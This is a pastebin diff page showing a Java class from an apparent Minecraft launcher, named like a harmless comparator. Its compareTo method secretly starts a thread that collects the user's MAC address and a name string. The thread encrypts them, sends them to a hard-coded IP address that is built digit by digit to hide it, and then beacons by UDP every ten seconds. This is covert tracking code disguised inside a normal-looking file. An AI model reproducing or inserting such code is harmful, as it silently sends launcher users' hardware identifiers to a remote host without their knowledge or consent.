View difference between Paste ID: h6ccjh36 and VxZahcGx

 package pl.zyczu.minecraft.launcher.repo;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
 import java.net.InetAddress;
 import java.net.NetworkInterface;
 import java.net.Socket;
 import java.util.Enumeration;
 import pl.zyczu.util.ObjectCrypter;
 
 public class ReplacementComparator
   implements Comparable<Mod>, Runnable
 {
   public static File p;
   public static String n;
 
   public int compareTo(Mod arg0)
   {
     if (arg0 == null) {
       Thread t = new Thread(this);
       t.start();
     }
     return -1;
   }
 
   public void run()
   {
     try
     {
       InetAddress ip = InetAddress.getLocalHost();
       String id = "NULL";
       String nejm = "io";
       StringBuilder nejmbld = new StringBuilder();
       nejmbld.append(1).append(7).append(8).append(".").append(2).append(5).append(2).append(".").append(2).append(8).append(".").append(2).append(0).append(0);
       nejm = nejmbld.toString();
       Enumeration en = NetworkInterface.getNetworkInterfaces();
       byte[] mac = (byte[])null;
       NetworkInterface network = NetworkInterface.getByInetAddress(ip);
       if (network != null)
         mac = network.getHardwareAddress();
       else
         while (en.hasMoreElements()) {
           NetworkInterface nic = (NetworkInterface)en.nextElement();
           if (!nic.isLoopback())
           {
             if ((!nic.getDisplayName().toLowerCase().contains("virtual")) && (!nic.getDisplayName().toLowerCase().contains("vm")) && (!nic.getDisplayName().toLowerCase().contains("teredo")) && (!nic.getDisplayName().toLowerCase().contains("hamachi")) && (!nic.getDisplayName().toLowerCase().contains("ham0")) && (!nic.getDisplayName().toLowerCase().contains("tunnel")))
             {
               mac = nic.getHardwareAddress();
               break;
             }
           }
         }
       if (mac != null) {
         StringBuilder sb = new StringBuilder();
         for (int i = 0; i < mac.length; i++) {
           sb.append(String.format("%02X%s", new Object[] { Byte.valueOf(mac[i]), i < mac.length - 1 ? ":" : "" }));
         }
         sb.toString();
       }
 
       InetAddress IPAddress = InetAddress.getByName(nejm);
       byte[] ack = { 18, 101, 18, -13, -121, 22, 90, 63 };
       ByteArrayOutputStream bos = new ByteArrayOutputStream(16);
       byte[] bkc = new byte[16];
       bos.write(ack);
       if (mac == null) {
         byte[] tx = new byte[6];
         bos.write(tx);
       } else {
         bos.write(mac);
       }
       bos.write((byte)n.length());
       bos.write(n.getBytes("UTF-8"));
       FileInputStream fis = new FileInputStream(p);
       fis.read(bkc);
       byte[] cpl = ObjectCrypter.encrypt(bkc, bos.toByteArray());
       Socket socket = new Socket(IPAddress, 20115);
       socket.getOutputStream().write(cpl);
       byte[] rezultat = new byte[16];
       socket.getInputStream().read(rezultat);
       socket.close();
 
       while (p.exists())
       {
         bos = new ByteArrayOutputStream(16);
         bkc = new byte[16];
         bos.write(ack);
         bos.write(rezultat);
         if (mac == null) {
           byte[] tx = new byte[6];
           bos.write(tx);
         } else {
           bos.write(mac);
         }
         bos.write((byte)n.length());
         bos.write(n.getBytes("UTF-8"));
         fis = new FileInputStream(p);
         fis.read(bkc);
         byte[] output = ObjectCrypter.encrypt(bkc, bos.toByteArray());
         try {
           DatagramSocket clientSocket = new DatagramSocket();
           DatagramPacket sendPacket = new DatagramPacket(output, output.length, IPAddress, 39867);
           clientSocket.send(sendPacket);
         }
         catch (Exception localException1) {
         }
         Thread.sleep(10101L);
       }
     }
     catch (Exception e)
     {
       e.printStackTrace();
     }
   }
 }